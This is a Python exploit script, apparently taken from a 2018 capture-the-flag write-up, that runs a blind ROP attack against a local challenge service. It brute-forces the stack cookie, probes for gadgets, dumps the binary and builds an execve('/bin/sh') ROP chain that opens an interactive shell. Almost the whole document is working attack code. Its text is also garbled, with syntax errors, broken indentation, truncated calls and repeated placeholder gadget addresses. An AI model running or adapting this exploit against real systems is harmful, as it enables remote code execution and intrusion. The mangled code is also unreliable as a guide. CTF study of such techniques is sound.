from binascii import hexlify
import subprocess
import threading

# ======================================================  
# Is this challenge hard? it sure is.  
# by lennon (bread @nonsxd)  
# ======================================================  

# SETUP Globals  
# ======================================================  

# Host Information  
host = '127.0.0.1'
port = 12345  

# Threading - Iterators  
stop_gadget_it = iter(range(0, 1024 * 1024 * 2))
brrop_gadget_it = iter(range(0, 1024 * 1024 * 2))
dump_gadget_it = iter(range(0, 1024 * 1024 * 2))
dump2_gadget_it = iter(range(0, 1024 * 1024 * 2))
pop_gadget_it = iter(range(0, 1024 * 1024 * 2))
gadget_it = iter(range(0, 1024 * 1024 * 2))
stack_it = iter(range(0, 256))
lock = threading.Lock()  

# Assumed linux addr  
addr = 0x400000  

# Other  
elf = bytearray(1024 * 1024 * 4)
cookie []  
fcookie = False

# Gadgets  
stop_gadget = 0x401fff  
brrop_gadget = 0x400a3c  
RSI_gadget = 0x400a43  
RDI_gadget = 0x400a45  
dump_gadget = 0x40068e  

# THREADING FUNCTIONS  
# ==============================================================  
def threaded_stack_cookie_search(sz):
    ...  
    Probing for stack cookie value using BruteForce  
    Updates Cookie list if byte is found and exits once 8 bytes are found  
    ...  
    global stack_it
    global cookie
    global fcookie
    global lock

    with log.progress('Searching for Stack Cookie') as prog:
        while fcookie==False:
            try:
                if len(cookie)==8:
                    fcookie = True
                offset = get_next(stack_it)
                test = find_stack_cookie(prog, sz, cookie, offset)
                if test != "nope":
                    stack_it = iter(range(0, 256))
                    with lock:
                        cookie.append(test)
                        fcookie = True
                        offset = get_next(stack_it)
                        test = find_stack_cookie(prog, sz, cookie, offset)
                        if test != "nope":  
                            stack_it = iter(range(0, 256))
                            with lock:
                                cookie.append(test)
```
if len(cookie) == 8:
    fcookie = True
except:
    fcookie = True

def threaded_stop_gadget_search(addr, sz, cookie, msg, fname):
    '''
    Probing for stop (signal) gadgets
    Appends to log file if suitable gadgets are found
    '''
    global stop_gadget_it
    global stop_gadget
    with log.progress(msg) as prog:
        while True:
            offset = get_next(stop_gadget_it)
            if offset == None:
                break
            content = find_STOP_gadget(prog, addr, sz, cookie, offset)
            if len(content) > 75 or "TIME" in content:
                append_file(fname, content)
            if "GOOD" in content:
                stop_gadget = addr + offset  # prints "Saved DB"
                break

def threaded_BROP_gadget_search(addr, sz, cookie, stop_gadget, msg, fname):
    '''
    Probing for BROP gadgets - Part 1 of write gadget
    A suitable BROP gadget will discloses 2 gadgets in 1
    pop rsi ; pop r15 ; ret
    pop rdi ; ret
    Appends to log file if suitable gadgets are found
    '''
    global brop_gadget_it
    global brop_gadget
    with log.progress(msg) as prog:
        while True:
            offset = get_next(brop_gadget_it)
            if offset == None:
                break
            content = find_BROP_gadget(prog, addr, sz, cookie, offset, stop_gadget)
            if len(content) > 75 or "TIME" in content:
                append_file(fname, content)

def threaded_RSIDUMP_gadget_find(addr, sz, cookie, stop_gadget, RSI_gadget, msg, fname):
    '''
    Probing for DUMP gadgets - Part 2a of write gadget
    Unoptimized write gadget no control of RDX so size is limited by '\x00' delimiter
    Usually a printf or puts function.
    Appends to a file if ELF is found
    '''
    global dump_gadget_it
    with log.progress(msg) as prog:
        while True:
            offset = get_next(dump_gadget_it)
            if offset == None:
                break
            content = find_RSIDUMP_gadget(prog, addr, sz, cookie, offset, stop_gadget, RSI_gadget)
            if "ELF" in "".join(content):
                append_file(fname, content)

def threaded_RDIDUMP_gadget_find(addr, sz, cookie, stop_gadget, RSI_gadget, msg, fname):
    '''
    Probing for DUMP gadgets - Part 2a of write gadget
    Unoptimized write gadget no control of RDX so size is limited by '\x00' delimiter
    Usually a printf or puts function.
    Appends to a file if ELF is found
    '''
    global dump_gadget_it
    with log.progress(msg) as prog:
        while True:
            offset = get_next(dump2_gadget_it)
            if offset == None:
                break
content = find_RDIDUMP_gadget(prog, addr, sz, cookie, offset, stop_gadget, RSI_gadget)
if "ELF" in ','.join(content):
    append_file(fname, content)

def threaded_dumping_binary(addr, sz, stop_gadget, RSI_gadget, dump_gadget, msg, fname):
    '''
    Using found DUMP gadget - Part 3 of BROP
    Threaded and chunking with lock function
    '''
    global dump_it
    global lock
    with log.progress(msg) as prog:
        while True:
            it = get_next(dump_it)
            if it == None:
                break
            itrange = iter(range(it, it+128))

            data = bytearray()
            while len(data) < 128 or offset in itrange:
                try:
                    offset = next(itrange)
                    content = dumping_binary(prog, addr, sz, offset, stop_gadget, RSI_gadget, dump_gadget)
                except:
                    content = "\x00\x00"
                content += "\x0A"
                try:
                    content = find_between(content,"\x0A","\x0A")
                except:
                    content = "\x00\x00"
                if len(content) >1:
                    for i in range(len(content)-1):
                        try:
                            offset = next(itrange)
                        except:
                            break
                        data += content
                except:
                    continue
            data = data[:128]
            for j, ch in enumerate(data):
                elf[it + j] = ch
                with lock:
                    with open("dump", "wb") as f:
                        f.write(str(elf))

# ==---------------------------------------------------------------------------
# HELPER FUNCTIONS
# ==---------------------------------------------------------------------------

def get_next(which_iter):
    '''
    Threading iterator - returns next value
    '''
    global lock
    with lock:
        try:
            next_it = next(which_iter)
        except StopIteration:
            return None
        return next_it

def find_between(s, first, last):
    '''
    Returns output between 2 values
    '''
    try:
        start = s.index(first) + len(first)
        end = s.index(last)
    except ValueError:
        return ""
```python
def append_file(fname, content):
    '''
    Append log file - with locking function
    '''
    global lock
    with lock:
        with open(fname, 'a+') as outfile:
            outfile.write(content)

def conn_and_send(sz, payload, timeout=2, level='error'):
    '''
    Simplified connect and send function
    buffer overflow is passed in as payload
    Returns processing time, status, content from socket
    '''
    data = []
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    r = remote.fromsocket(s)

    r.setlevel(level)
    r.recvuntil('> ')
    sleep(0.05)
    r.sendline("q")

    # enter length
    r.recvuntil(':')
    r.send(str(sz) + '
')

    # enter string
    r.recvuntil(':')
    r.settimeout(timeout)
    r.recvuntil('TIME')
    sleep(0.05)
    r.send(str(payload))

    # output
    data.append("DATA")
    d = ""
    sleep(0.01)
    start = time()
    try:
        while True:
            x = r.recv(1, timeout)
            if x != "":
                d += x
            else:
                end = time()
                data[data.index("DATA")]."TIME"
                break
            if time() - start > 20:
                end = time()
                data[data.index("DATA")]."TIME"
                break
    except EOFError as e:
        #pwntools will trigger an EOF with a timeout.
        # need to check if its intended or unintended
        end = time()
        data[data.index("DATA")]."GOOD" if "exiting!" in d else "ERRO"
        data.append(str({0:.2f} : '{:.f}'.format(end - start)))
        data.append(d)
        r.close()
        s.close()
    return data

def find_buffer_size(p):
    '''
    Probing for size of the buffer to overflow
    utilizing binary search to decrease requests count.
    '''
```

Cyber Security Challenge Australia © 2018 - Corporate Pentest Solutions  page 52
# Round 1 - Find Max

```python
maxsz = 4
while True:
    p.status(str(maxsz))
    data = conn_and_send(maxsz, "A" * maxsz)
    if "exiting!" in ''.join(data):
        maxsz *= 2
    else:
        break
```

# Round 2 - Binary Search for buffer size

```python
minsz = int(maxsz / 2)
while (maxsz - minsz) >= 2:
    middle = int((minsz + maxsz) / 2)
    p.status(str(middle))
    data = conn_and_send(middle, "A" * middle)
    if "exiting!" in ''.join(data):
        minsz = middle
    else:
        maxsz = middle
p.success(str(minsz))
return minsz
```

def find_stack_cookie(p, bufsz, cookie, offset):
    '''Probe for stack cookie via bruteforce'''
    payload = "A" * bufsz
    if cookie is None:
        for i in cookie:
            payload += p8(i)
    payload += p64(0x0)
    payload += p64(addr + offset)
    p.status(hex(addr + offset))
    data = conn_and_send(len(payload), payload)
    return hex(addr + offset)

def find_STOP_gadget(p, addr, bufsz, cookie, offset):
    '''Probe the binary for potential STOP gadgets'''
    payload = "A" * bufsz
    for i in cookie:
        payload += p8(i)
    payload += p64(addr + offset)
    p.status(hex(addr + offset))
    data = conn_and_send(len(payload), payload, 3)
    return str(hex(addr + offset)) + " \n"

def find_BROP_gadget(p, addr, bufsz, cookie, offset, stop_gadget):
    '''Probe the binary for potential BROP gadgets'''
    payload = "A" * bufsz
    for i in cookie:
        payload += p8(i)
    payload += p64(addr + offset)
    payload += p64(stop_gadget)
    payload += p64(stop_gadget)
    payload += p64(stop_gadget)
    payload += p64(stop_gadget)
    payload += p64(0x0)
    p.status(hex(addr + offset))
    data = conn_and_send(len(payload), payload, 3)
    return str(hex(addr + offset)) + " \n"

def find_RSIDUMP_gadget(p, addr, bufsz, cookie, offset, stop_gadget, RSI_gadget):
    '''Probe the binary for potential DUMP gadgets'''
    payload = "A" * bufsz
    for i in cookie:
        payload += p8(i)
# EXPLOITATIVE FUNCTIONS
# -------------------------------

```python
def find_RDIDUMP_gadget(p, addr, bufsize, cookie, offset, stop_gadget, RSI_gadget):
    ''' Probes the binary for potential DUMP gadgets ...'''
    payload = "A" * bufsize
    for i in cookie:
        payload += p8(i)
    payload = p64(0x0)
    payload = p64(RSI_gadget)
    payload = p64(addr + offset)
    payload = p64(stop_gadget)
    payload = p64(0x0)
    p.status(hex(addr + offset))
    data = conn_and_send(len(payload), payload, 3)
    return (str(hex(addr + offset)) + "": "" + str.join(data).replace("\n", ""))

def dumping_binary(p, addr, bufsize, offset, stop_gadget, RSI_gadget, DUMP_gadget):
    ''' Dump the Binary - Using RSI and DUMP gadget or RDI and dump gadget ...'''
    payload = "A" * bufsize
    for i in cookie:
        payload += p8(i)
    payload = p64(0x0)
    payload = p64(RSI_gadget)
    payload = p64(addr + offset)
    payload = p64(0x0)
    payload = p64(DUMP_gadget)
    p.status(hex(addr + offset))
    data = conn_and_send(len(payload), payload)
    return '"'.join(data[-1])

def make_ropchain(p):
    payload = []
    # part 1: write-what-where a.b.a /bin/sh to .data (0x7ad000)
    payload.append(p64(0x800000000045879)) # mov qword ptr [rsi], rax ; ret
    payload.append(p64(0x80000000005056a5)) # RSI_gadget
    payload.append(p64(0x800000000042cba6)) # pop rax ; ret
    payload.append('/bin/sh')
    payload.append(p64(0x800000000045879)) # mov qword ptr [rsi], rax ; ret
    # part 2: write-what-where, write 0 to .data (0x7ad008)
    payload.append(p64(0x800000000045879)) # mov qword ptr [rsi], rax ; ret
    payload.append(p64(0x800000000045879)) # @ .data + B
    payload.append(p64(0x800000000045879)) # xor rax, rax ; ret
    payload.append(p64(0x800000000045879)) # mov qword ptr [rsi], rax ; ret
    # part 2: call execve
    payload.append(p64(0x800000000045879)) # pop rdi ; ret
    payload.append(p64(0x800000000045879)) # pop rsi ; ret
    payload.append(p64(0x800000000045879)) # pop rdx ; ret
    payload.append(p64(0x800000000045879)) # @ .data + B
    payload.append(p64(0x800000000045879)) # xor rax, rax ; ret
    for _ in range(0, 59):
        payload.append(p64(0x800000000045879)) # @ .data + B
    payload.append(p64(0x800000000045879)) # pop rax ; ret
```
```
Cyber Security Challenge Australia © 2018 - Corporate Pentest Solutions  page 54
```
p.success("Complete!")
return payload
def exploit(prompt, bufsz, cookie, ropchain):
    ROPCHAIN TO SHELL
    # Taken from output of ROPgadget
    payload = "A" * bufsz
    for i in cookie:
        payload += p8(i)
    for i in ropchain:
        payload += i
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    r = remote.fromsocket(s)
    r.recvuntil('> ')
    r.sendline("q")
    # enter length
    r.recvuntil('"
    sleep(0.005)
    r.send(str(len(payload)))
    sleep(0.005)
    r.send(str(payload))
    r.interactive(prompt = pwnlib.term.text.bold_red("BreadShell$") + '')

# ==============================================================
# = Main
# ==============================================================
def main():
    global cookie
    global addr
    # Step 1: Finding the buffer size
    # with log.progress('Finding Buffer size') as prog:
    #    bufsz = find_buffer_size(prog)
    bufsz = 24
    log.success("Buffer size Found! : " + str(bufsz))
    # Step 2: Defeating Stack Cookie
    threads = []
    for i in range(6):
        threads.append(Threa
        target = threaded_stack_cookie_search,
        kwargs = {
            'sz': bufsz
        })
        [worker.start() for worker in threads]
        [worker.join() for worker in threads]
    log.success("Stack Cookie Found! : " + ''.join(hexlify(p8(x)) for x in cookie))
    # Step 3: Finding a suitable STOP gadget
    # threads = []
    # for i in range(10):
    #    threads.append(Threa
    #    target = threaded_stop_gadget_search,
    #    kwargs = {
    #        'sz': bufsz,
    #        'cookie': cookie,
    #        'msg': "Searching for stop gadgets",
    #        'fname': "searching_for_stop_gadgets.txt",
    #    })
    #    [worker.start() for worker in threads]
    #    [worker.join() for worker in threads]
    log.success("Stop gadget Found! : " + str(hex(stop_gadget)))
    # Step 4: Finding a suitable BROP gadget
    # threads = []
    # for i in range(10):
    #    threads.append(Threa
    #    target = threaded_BROP_gadget_search,
    #    kwargs = {
    #        'addr': addr,
    #    })
    #    [worker.start() for worker in threads]
    #    [worker.join() for worker in threads]
    log.success("BROP gadget Found! : " + str(hex(brop_gadget)))
# Step 5: Finding a suitable DUMP gadget
#threads = []
# for i in range(10):
#    threads.append(Thread(
#        target=threaded_RSIDUMP_gadget_find,
#        kwargs={'addr': addr,
#                'sz': bufsz,
#                'cookie': cookie,
#                'stop_gadget': stop_gadget,
#                'RSI_gadget': RSI_gadget,
#                'msg': "Searching for DUMP gadgets using RSI",
#                'fname': "searching_for_dump_gadgets.txt",
#                }))
#    [worker.start() for worker in threads]
#    [worker.join() for worker in threads]
#threads = []
# for i in range(10):
#    threads.append(Thread(
#        target=threaded_RDIDUMP_gadget_find,
#        kwargs={'addr': addr,
#                'sz': bufsz,
#                'cookie': cookie,
#                'stop_gadget': stop_gadget,
#                'RDI_gadget': RDI_gadget,
#                'msg': "Searching for DUMP gadgets using RDI",
#                'fname': "searching_for_dump_gadgets.txt",
#                }))
#    [worker.start() for worker in threads]
#    [worker.join() for worker in threads]
log.success("DUMP gadget Found! : " + str(hex(dump_gadget)))

# Step 6: Dump the binary for local analysis
#threads = []
# for i in range(10):
#    threads.append(Thread(
#        target=threaded_dumping_binary,
#        kwargs={'addr': 0x400000,
#                'sz': bufsz,
#                'cookie': cookie,
#                'stop_gadget': stop_gadget,
#                'dump_gadget': dump_gadget,
#                'msg': "Dumping binary info",
#                'fname': 'dump',
#                }))
#    [worker.start() for worker in threads]
#    [worker.join() for worker in threads]
log.success("Dump complete")

# Step 7: Craft ROPChain
with log.progress('Making the ROPchain ') as prog:
    ropchain = make_ropchain(prog)

#Step 8: Pop that shell
with log.progress('Popping a shell ') as prog:
    exploit(prog, bufsz, cookie, ropchain)

if __name__ == "__main__":
    main()}